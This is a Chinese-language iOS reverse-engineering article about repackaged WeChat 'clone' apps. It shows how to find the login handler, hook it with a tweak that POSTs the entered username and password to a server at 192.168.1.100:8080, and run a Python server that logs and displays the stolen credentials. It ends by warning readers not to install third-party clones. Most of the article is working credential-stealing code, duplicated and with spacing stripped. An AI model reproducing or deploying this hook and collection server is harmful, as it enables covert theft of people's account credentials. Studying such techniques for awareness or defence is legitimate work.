[[[UIWindow keyWindow] rootViewController] _printHierarchy]
, state: appeared, view:
| , state: appeared, view:
可以得到当前的ViewController为WCAccountLoginLastUserViewController,跟踪该类。然后点击登录按钮,可以看到调用onNext方法。使用IDA进入里面分析,可以得知是WCAccountLoginControlLogic类来负责处理具体的登录逻辑。跟踪WCAccountLoginControlLogic可以发现登录的时候调用了
– (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{}
其中传的参数就是微信的账号和密码,现在演示一下如何拦截微信账号密码,并发送到指定服务器。
既然需要一个服务器来接受传输的数据,那么就使用python的BaseHTTPRequestHandler来搭建一个简单的服务器。
#!/usr/bin/env python
# -*- conding:utf-8 -*-
fromBaseHTTPServerimportBaseHTTPRequestHandler,HTTPServer
from urlparse importurlparse,parse_qs
DEFAULT_HOST=''
DEFAULT_PORT=8080
classRequestHandler(BaseHTTPRequestHandler):
defdo_GET(self):
params=parse_qs(urlparse(self.path).query)
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
#获取账号密码
fread=open('./pwd.log','r')
lines=fread.readlines();
#每隔2秒刷新一次
content=''
for lineinlines:
content=content+line+'
'
# Send the message to browser
self.wfile.write(content)
return
def do_POST(self):
params=parse_qs(urlparse(self.path).query)
#保存账号密码
fwrite=open('./pwd.log','a+')
fwrite.write("username=%sn"%params['name'][0])
fwrite.write("pwd=%sn"%params['pwd'][0])
fwrite.close()
self.send_response(200)
self.end_headers()
return
def run_server():
try:
server_address=(DEFAULT_HOST,DEFAULT_PORT)
server=HTTPServer(server_address,RequestHandler)
print"HTTP server started on port: %s"%DEFAULT_PORT
server.serve_forever()
exceptException,err:
print"Error:%s"%err
exceptKeyboardInterrupt:
print"Server interrupted and is shutting down..."
server.socket.close()
if__name__=="__main__":
run_server()
#!/usr/bin/env python
# -*- conding:utf-8 -*-
fromBaseHTTPServerimportBaseHTTPRequestHandler,HTTPServer
from urlparse importurlparse,parse_qs
DEFAULT_HOST=''
DEFAULT_PORT=8080
classRequestHandler(BaseHTTPRequestHandler):
defdo_GET(self):
params=parse_qs(urlparse(self.path).query)
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
#获取账号密码
fread=open('./pwd.log','r')
lines=fread.readlines();
#每隔2秒刷新一次
content=''
for lineinlines:
content=content+line+'
'
# Send the message to browser
self.wfile.write(content)
return
def do_POST(self):
params=parse_qs(urlparse(self.path).query)
#保存账号密码
fwrite=open('./pwd.log','a+')
fwrite.write("username=%sn"%params['name'][0])
fwrite.write("pwd=%sn"%params['pwd'][0])
fwrite.close()
self.send_response(200)
self.end_headers()
return
def run_server():
try:
server_address=(DEFAULT_HOST,DEFAULT_PORT)
server=HTTPServer(server_address,RequestHandler)
print"HTTP server started on port: %s"%DEFAULT_PORT
server.serve_forever()
exceptException,err:
print"Error:%s"%err
exceptKeyboardInterrupt:
print"Server interrupted and is shutting down..."
server.socket.close()
if__name__=="__main__":
run_server()
好了,一个简单的服务器搭建好了,post用来接受从微信传过来的账号和密码信息并保存到本地文件,然后通过get不断去请求刷新获取的账号密码。
编写tweak拦截账号密码,并发送到刚刚搭建的服务器上:
%hookWCAccountLoginControlLogic
-(void)onLastUserLoginUserName:(NSString*)namePwd:(NSString*)pwd{
%log;
NSMutableURLRequest*request=[NSMutableURLRequestrequestWithURL:[NSURLURLWithString:[NSStringstringWithFormat:@"http://192.168.1.100:8080?name=%@&pwd=%@",name,pwd]]];
[requestsetTimeoutInterval:30];
[requestsetHTTPMethod:@"POST"];
[NSURLConnectionsendAsynchronousRequest:requestqueue:[NSOperationQueuemainQueue]
completionHandler:^(NSURLResponse*respone,
NSData*data,
NSError*error)
{
NSHTTPURLResponse*httpResponse=(NSHTTPURLResponse*)respone;
if(httpResponse.statusCode==200){
NSLog(@"send pwd success!");
}
}];
}
%end
%hookWCAccountLoginControlLogic
-(void)onLastUserLoginUserName:(NSString*)namePwd:(NSString*)pwd{
%log;
NSMutableURLRequest*request=[NSMutableURLRequestrequestWithURL:[NSURLURLWithString:[NSStringstringWithFormat:@"http://192.168.1.100:8080?name=%@&pwd=%@",name,pwd]]];
[requestsetTimeoutInterval:30];
[requestsetHTTPMethod:@"POST"];
[NSURLConnectionsendAsynchronousRequest:requestqueue:[NSOperationQueuemainQueue]
completionHandler:^(NSURLResponse*respone,
NSData*data,
NSError*error)
{
NSHTTPURLResponse*httpResponse=(NSHTTPURLResponse*)respone;
if(httpResponse.statusCode==200){
NSLog(@"send pwd success!");
}
}];
}
%end
重签名微信,生成一个在非越狱机器上运行的微信分身版,这个已经在上一篇文章中讲过。进入登录界面输入账号密码,每次输入账号密码就发把账号密码发送到我们搭建的服务器上面,然后在浏览器输入http://localhost:8080/就能实时看到输入的账号密码是什么了。
上面只是一个简单的演示,当然实际的分身版不可能写的这么简单,一般都经过混淆和加密的,但是也就是说,一旦你安装了微信分身版,那么你微信上面所有的信息都可能被监控,导致隐私泄露。
从网上下了一个分身版的微信就在其中的dylib文件中发现了上传账号密码的代码
所以即使你的手机没有越狱,也不要去网上下载微信分身版,也不要去第三方渠道下载应用,因为很可能你在第三方渠道下载的应用就是被篡改过的。
觉得本文对你有帮助?请分享给更多人
关注「 iOS大全 」
看更多精选 iOS 技术文章